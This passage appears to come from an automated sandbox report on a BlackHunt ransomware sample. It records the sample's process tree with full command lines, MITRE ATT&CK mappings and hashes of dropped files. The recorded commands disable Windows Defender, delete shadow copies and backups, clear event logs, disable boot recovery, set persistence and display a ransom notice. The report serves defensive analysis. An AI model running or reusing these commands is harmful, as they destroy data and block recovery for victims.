  PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3148
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3172
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:3640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3860
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3132
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2300
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2928
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe"
  2⤵
  - Deletes itself
  PID:3464
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:1092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3512
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:1576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3600
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:1772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3308
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:4048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3140
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3396
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3560
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3500
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3196
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3112
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:1224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3076

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:864

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:1640

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:556

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:576

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:2872
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3068

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:2620

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:1868

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
1⤵
PID:2360

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:3048

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:2996

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:2640

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe" /F
1⤵
- Creates scheduled task(s)
PID:2888

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:1516

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:964

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:804

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:2132

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:772

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:1800

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3680

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:2276

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:2888

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:1688

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4016

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1008579392432622209-666192206-194161763-15672072191102841676-846120986-1040441499"
1⤵
- Enumerates connected drives
PID:1516

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:1508

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
1⤵
PID:1696

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:1716

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2568

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:2560

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2296

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:2660

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2604

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
1⤵
- Adds Run key to start application
PID:2612

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:2852

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
1⤵
- Modifies registry class
PID:2140

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D M:\
1⤵
- Enumerates connected drives
PID:3268

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:4000

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:3916

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Application
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3996

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl System
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
8f5557583730414e3828d3573ab566c6

SHA1
b8d2489e5d483f8df68528aa86fe6866dc139340

SHA256
784e599d1bbcb66eb25cf8a6530cf678e273c8dfa46d62b40df66c40ac1fbe2e

SHA512
e6d93a8167795be80cc183ddac4dd7e992b382b17aa4c409ee481b7000e1abdf5d409239a2ef0c01e61c1845c9d2aa4feab13bbc80da62eb0415fba07706eabe

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
3736b67298d1a334057d3ae231f54c9f

SHA1
dc952c0194cf515a399877ae3e3595514673f30b

SHA256
0779f3add44edbd87f63d266d3cfffad568d536a49545a980aa0074e00a22d63

SHA512
7c21f966d108c9a0be4e9dd76320664ec869a5d13a422c76a7620e720d447833cb8bb4c6ff1f6eb7c6ab5a8100cd5112292990c821a397d50ba17c92c4a34194

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
cd0f64ce1cce89fc04cf1ddbd4dd7371

SHA1
e397222f1eaf0eab7629de3cb73f06a896e415bc

SHA256
851896fe8e741cb4e35a0449eee9038b2d2b7224440d80bf1c89116bc1d2ce2f

SHA512
2d468ebc1216e35d296d870b92ecaf5038c7dd06b928ea05b8de6a150c17770cc981798200d730df3313d681ccaec758686b7b9bceeffd20206c177bf05750fb

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads